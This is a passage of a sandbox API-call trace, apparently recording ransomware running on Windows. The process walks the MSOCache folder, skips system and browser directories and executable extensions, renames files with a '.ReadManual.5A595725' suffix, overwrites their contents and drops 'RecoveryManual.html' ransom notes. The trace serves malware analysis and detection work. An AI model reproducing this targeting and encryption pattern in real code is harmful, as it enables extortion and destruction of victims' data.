Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.ReadManual.5A595725" [0188.589] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.ReadManual.5A595725") returned 102 [0188.589] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30925795965) returned 1 [0188.589] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0188.589] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0188.590] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1231) returned 1 [0188.590] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4cf, lpName=0x0) returned 0x194 [0188.590] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0188.590] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.590] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0188.592] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0188.592] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4cf) returned 0x2f0000 [0188.592] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0188.592] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30926094714) returned 1 [0188.592] CloseHandle (hObject=0x194) returned 1 [0188.592] SetSecurityInfo () returned 0x57 [0188.592] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0188.592] CloseHandle (hObject=0x190) returned 1 [0188.593] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0188.593] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0188.593] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0188.593] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0188.593] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0188.593] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0188.593] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" [0188.593] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0188.593] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0188.593] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30926202335) returned 1 [0188.593] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0188.594] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0188.594] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1852) returned 1 [0188.594] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x73c, lpName=0x0) returned 0x194 [0188.594] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0188.594] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.595] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0188.596] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0188.596] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x73c) returned 0x2f0000 [0188.596] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0188.596] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30926506916) returned 1 [0188.596] CloseHandle (hObject=0x194) returned 1 [0188.596] SetSecurityInfo () returned 0x57 [0188.597] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0188.597] CloseHandle (hObject=0x190) returned 1 [0188.597] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0188.597] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0188.597] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0188.597] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-0054-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C") returned="{90140000-0054-0409-1000-0000000FF1CE}-C" [0188.597] lstrcatW (in: lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0054-0409-1000-0000000FF1CE}-C\\" [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0188.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0188.598] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0188.598] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0188.598] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0188.598] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0188.598] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0188.598] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0188.598] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0188.598] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0188.598] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0188.598] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0188.598] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0188.598] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned 67 [0188.598] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0188.598] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" [0188.598] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0188.598] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0188.598] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0188.598] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0188.598] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0188.598] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0188.598] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0188.598] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0188.599] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0188.599] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0188.599] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0188.599] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0188.599] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0188.599] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0188.599] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0188.599] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0188.599] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0188.599] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0188.599] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0188.599] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" [0188.599] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0188.599] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0188.599] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30926768578) returned 1 [0188.599] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0188.600] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0188.600] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=6241) returned 1 [0188.600] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1861, lpName=0x0) returned 0x194 [0188.600] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0188.602] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.602] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0188.603] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0188.603] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1861) returned 0x2f0000 [0188.604] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0188.604] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30927237413) returned 1 [0188.604] CloseHandle (hObject=0x194) returned 1 [0188.604] SetSecurityInfo () returned 0x57 [0188.604] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0188.604] CloseHandle (hObject=0x190) returned 1 [0188.605] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" [0188.605] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0188.605] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0188.605] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0188.606] CloseHandle (hObject=0x190) returned 1 [0188.606] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0188.606] lstrcpyW (in: lpString1=0x6ab922, lpString2="VisioLR.cab" | out: lpString1="VisioLR.cab") returned="VisioLR.cab" [0188.606] lstrcmpiW (lpString1="VisioLR.cab", lpString2="RecoveryManual.html") returned 1 [0188.606] StrStrIW (lpFirst="VisioLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0188.606] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0188.606] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0188.606] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0188.606] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0188.606] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0188.606] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0188.607] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0188.607] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0188.607] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0188.607] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0188.607] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0188.607] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0188.607] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0188.607] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0188.607] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" [0188.607] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.ReadManual.5A595725" [0188.607] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.ReadManual.5A595725") returned 98 [0188.607] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30927561570) returned 1 [0188.607] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0188.607] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0188.607] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=50823389) returned 1 [0188.607] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30780dd, lpName=0x0) returned 0x194 [0188.607] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0188.608] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.608] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 